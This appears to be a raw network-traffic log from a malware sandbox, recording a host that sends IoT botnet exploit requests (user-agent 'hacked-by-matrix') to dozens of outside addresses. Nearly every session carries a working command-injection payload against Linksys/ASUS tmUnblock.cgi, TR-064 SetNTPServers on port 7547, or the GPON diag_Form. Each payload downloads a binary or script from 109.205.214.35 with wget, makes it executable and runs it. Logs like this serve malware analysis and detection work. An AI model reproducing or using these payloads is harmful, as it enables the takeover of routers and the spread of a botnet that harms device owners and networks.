Mar 21, 2024 05:23:10.740499973 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.14	37462	14.74.97.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.841913939 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:12.321619034 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:12.608850002 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:23:12 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.14	33722	98.143.218.50	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.945550919 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.14	36064	2.243.202.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.518244028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.14	49492	79.191.174.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.518248081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.14	36838	109.62.73.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.518284082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.14	56176	118.56.207.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.518305063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.14	42382	212.3.192.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.518337011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.14	39498	5.145.199.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.518383026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.14	42844	212.155.2.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.518420935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.14	52162	37.170.78.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.518462896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.14	33296	94.168.14.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.518462896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.14	49336	172.65.52.184	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.635205984 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:11.910341024 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.14	58686	23.40.84.171	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.738071918 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:11.920891047 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:23:11 GMT Date: Thu, 21 Mar 2024 04:23:11 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 34 62 35 33 62 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 39 31 26 23 34 36 3b 62 62 38 62 62 36 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.84b53b17.1710994991.bb8bb61</BODY></HTML>
Mar 21, 2024 05:23:12.964062929 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:23:11 GMT Date: Thu, 21 Mar 2024 04:23:11 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 34 62 35 33 62 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 39 31 26 23 34 36 3b 62 62 38 62 62 36 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.84b53b17.1710994991.bb8bb61</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.14	48578	211.198.228.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:11.844120026 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:13.375353098 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.14	37492	14.74.97.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.159657001 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:12.450618982 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:23:12 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.14	38604	69.59.4.81	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.303231955 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.14	33478	34.144.221.132	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.399327040 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.14	38608	69.59.4.81	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.450637102 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.14	33484	34.144.221.132	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.488956928 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.14	53182	47.181.162.122	7547

Timestamp	Bytes transferred	Direction	Data
